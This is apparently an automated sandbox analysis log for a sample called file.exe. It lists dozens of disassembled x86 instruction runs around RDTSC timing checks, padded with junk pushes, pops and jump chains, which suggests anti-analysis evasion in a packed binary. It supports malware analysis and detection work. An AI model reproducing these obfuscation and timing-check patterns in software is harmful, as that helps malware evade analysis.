Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E04B9 second address: 51E04C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ror eax, cl 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E04C9 second address: 51E04DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0593 second address: 51E05EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF275345493h 0x00000013 sub eax, 6C42071Eh 0x00000019 jmp 00007FF275345499h 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E05EA second address: 51E05EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190022 second address: 5190026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190026 second address: 519002A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519002A second address: 5190030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190030 second address: 51900B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF274F0FD42h 0x00000009 jmp 00007FF274F0FD45h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007FF274F0FD40h 0x00000015 sub ax, 4728h 0x0000001a jmp 00007FF274F0FD3Bh 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 mov ebp, esp 0x00000025 pushad 0x00000026 mov ax, 433Bh 0x0000002a mov si, D817h 0x0000002e popad 0x0000002f and esp, FFFFFFF8h 0x00000032 pushad 0x00000033 call 00007FF274F0FD48h 0x00000038 pop ebx 0x00000039 mov cx, 86CDh 0x0000003d popad 0x0000003e xchg eax, ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51900B6 second address: 51900BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51900BA second address: 51900CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51900CF second address: 51900DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF27534548Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51900DF second address: 51900F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF274F0FD3Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51900F7 second address: 519011D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bl 0x00000005 call 00007FF275345498h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519011D second address: 51901B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FF274F0FD49h 0x0000000b xor ax, 6B76h 0x00000010 jmp 00007FF274F0FD41h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, ebx 0x00000018 jmp 00007FF274F0FD3Eh 0x0000001d push eax 0x0000001e jmp 00007FF274F0FD3Bh 0x00000023 xchg eax, ebx 0x00000024 jmp 00007FF274F0FD46h 0x00000029 mov ebx, dword ptr [ebp+10h] 0x0000002c pushad 0x0000002d mov edi, esi 0x0000002f pushfd 0x00000030 jmp 00007FF274F0FD3Ah 0x00000035 jmp 00007FF274F0FD45h 0x0000003a popfd 0x0000003b popad 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51901B5 second address: 51901B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51901B9 second address: 51901BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51901BD second address: 51901C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51901C3 second address: 51901E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51901E0 second address: 51901E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51901E4 second address: 5190200 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190200 second address: 519022F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF27534548Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FF275345496h 0x0000000f mov esi, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519022F second address: 5190233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190233 second address: 5190237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190237 second address: 519023D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519023D second address: 5190295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, EEC1h 0x00000007 call 00007FF27534548Eh 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FF27534548Eh 0x00000016 mov dword ptr [esp], edi 0x00000019 pushad 0x0000001a movzx ecx, di 0x0000001d pushad 0x0000001e movsx edi, cx 0x00000021 call 00007FF275345492h 0x00000026 pop eax 0x00000027 popad 0x00000028 popad 0x00000029 test esi, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FF27534548Ch 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190295 second address: 51902BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 56592944h 0x00000008 mov esi, edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007FF2E712E0A9h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF274F0FD42h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51902BC second address: 519030D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 mov eax, 3A0B5309h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000014 pushad 0x00000015 mov esi, 1BAD5A41h 0x0000001a mov ebx, esi 0x0000001c popad 0x0000001d je 00007FF2E75637D8h 0x00000023 jmp 00007FF275345498h 0x00000028 mov edx, dword ptr [esi+44h] 0x0000002b pushad 0x0000002c mov eax, 41005A5Dh 0x00000031 mov si, 3F59h 0x00000035 popad 0x00000036 or edx, dword ptr [ebp+0Ch] 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519030D second address: 519031E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 test edx, 61000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519031E second address: 5190322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190322 second address: 5190328 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190328 second address: 519032E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519032E second address: 5190332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190332 second address: 519035A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345494h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FF2E75637C2h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ax, bx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519035A second address: 519035F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519035F second address: 51903A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 mov cx, 568Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test byte ptr [esi+48h], 00000001h 0x00000010 jmp 00007FF275345498h 0x00000015 jne 00007FF2E75637A0h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF275345497h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51903A6 second address: 51903BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF274F0FD44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51903BE second address: 51903C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180721 second address: 5180727 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180727 second address: 5180736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF27534548Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180839 second address: 518084C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518084C second address: 5180930 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FF275345497h 0x00000010 mov ch, CFh 0x00000012 popad 0x00000013 xchg eax, ebx 0x00000014 jmp 00007FF27534548Bh 0x00000019 xchg eax, esi 0x0000001a jmp 00007FF275345496h 0x0000001f push eax 0x00000020 pushad 0x00000021 mov eax, ebx 0x00000023 pushfd 0x00000024 jmp 00007FF27534548Dh 0x00000029 or eax, 251F7226h 0x0000002f jmp 00007FF275345491h 0x00000034 popfd 0x00000035 popad 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 mov si, E9F3h 0x0000003c mov eax, 12E2324Fh 0x00000041 popad 0x00000042 mov esi, dword ptr [ebp+08h] 0x00000045 jmp 00007FF275345492h 0x0000004a sub ebx, ebx 0x0000004c jmp 00007FF275345491h 0x00000051 test esi, esi 0x00000053 pushad 0x00000054 pushfd 0x00000055 jmp 00007FF27534548Ch 0x0000005a or eax, 1DEA1158h 0x00000060 jmp 00007FF27534548Bh 0x00000065 popfd 0x00000066 push eax 0x00000067 push edx 0x00000068 mov ecx, 1DE5D8A5h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180A47 second address: 5180A77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b jmp 00007FF274F0FD40h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movzx eax, dx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180A77 second address: 5180AF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 jmp 00007FF275345497h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f jmp 00007FF275345496h 0x00000014 xchg eax, ebx 0x00000015 jmp 00007FF275345490h 0x0000001a push eax 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FF275345491h 0x00000022 sub ah, 00000066h 0x00000025 jmp 00007FF275345491h 0x0000002a popfd 0x0000002b mov esi, 267DF197h 0x00000030 popad 0x00000031 xchg eax, ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 push ebx 0x00000036 pop eax 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180B62 second address: 5180BC7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF274F0FD3Bh 0x00000008 xor ah, 0000006Eh 0x0000000b jmp 00007FF274F0FD49h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 pop ebx 0x00000015 pushad 0x00000016 call 00007FF274F0FD3Ch 0x0000001b mov ecx, 26F32B01h 0x00000020 pop ecx 0x00000021 push ebx 0x00000022 mov bx, ax 0x00000025 pop ecx 0x00000026 popad 0x00000027 mov esp, ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FF274F0FD47h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180BC7 second address: 5180BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180BCB second address: 5180BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180BD1 second address: 5180C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345494h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF275345497h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180C03 second address: 5180C09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180C09 second address: 5180C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190C3F second address: 5190C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190C43 second address: 5190C49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190C49 second address: 5190C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190C4F second address: 5190C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190C53 second address: 5190C8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF274F0FD3Bh 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF274F0FD45h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51909E5 second address: 51909FB instructions: 0x00000000 rdtsc 0x00000002 mov cx, A161h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF27534548Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51909FB second address: 5190A29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF274F0FD46h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190A29 second address: 5190A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190A2D second address: 5190A4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190A4A second address: 5190A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190A50 second address: 5190A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 521076C second address: 52107D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edi, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FF275345492h 0x00000014 sub si, C498h 0x00000019 jmp 00007FF27534548Bh 0x0000001e popfd 0x0000001f movzx esi, bx 0x00000022 popad 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push ecx 0x00000028 pop ebx 0x00000029 pushfd 0x0000002a jmp 00007FF275345498h 0x0000002f adc ah, 00000028h 0x00000032 jmp 00007FF27534548Bh 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52009E5 second address: 52009EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52009EA second address: 5200A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, dx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c call 00007FF275345496h 0x00000011 mov ch, 3Dh 0x00000013 pop edi 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520085B second address: 520086A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520086A second address: 52008ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cx, 0A13h 0x0000000f mov edx, ecx 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 mov edx, 28F1D814h 0x0000001a pushfd 0x0000001b jmp 00007FF27534548Dh 0x00000020 and esi, 3BE9A4D6h 0x00000026 jmp 00007FF275345491h 0x0000002b popfd 0x0000002c popad 0x0000002d mov ebx, eax 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 pushad 0x00000032 jmp 00007FF27534548Fh 0x00000037 popad 0x00000038 mov ebp, esp 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FF275345495h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52008ED second address: 52008F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52008F3 second address: 52008F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52008F7 second address: 5200917 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200917 second address: 5200932 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345497h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A00B4 second address: 51A00B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A00B8 second address: 51A010E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 mov bx, cx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push esi 0x0000000f jmp 00007FF275345495h 0x00000014 pop eax 0x00000015 mov di, 4DF4h 0x00000019 popad 0x0000001a mov dword ptr [esp], ebp 0x0000001d jmp 00007FF275345493h 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FF275345490h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A010E second address: 51A011D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A011D second address: 51A0172 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF275345493h 0x00000013 xor al, FFFFFFFEh 0x00000016 jmp 00007FF275345499h 0x0000001b popfd 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200C62 second address: 5200CA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF274F0FD3Fh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx edi, si 0x00000016 pushfd 0x00000017 jmp 00007FF274F0FD3Ah 0x0000001c sub esi, 29F54D88h 0x00000022 jmp 00007FF274F0FD3Bh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200CA0 second address: 5200D57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FF27534548Eh 0x00000010 push dword ptr [ebp+0Ch] 0x00000013 pushad 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FF27534548Ch 0x0000001b sbb ax, C248h 0x00000020 jmp 00007FF27534548Bh 0x00000025 popfd 0x00000026 mov ecx, 4A6425BFh 0x0000002b popad 0x0000002c mov edi, ecx 0x0000002e popad 0x0000002f push dword ptr [ebp+08h] 0x00000032 jmp 00007FF27534548Eh 0x00000037 call 00007FF275345489h 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007FF27534548Eh 0x00000043 jmp 00007FF275345495h 0x00000048 popfd 0x00000049 mov ch, B0h 0x0000004b popad 0x0000004c push eax 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 call 00007FF275345496h 0x00000055 pop eax 0x00000056 rdtsc
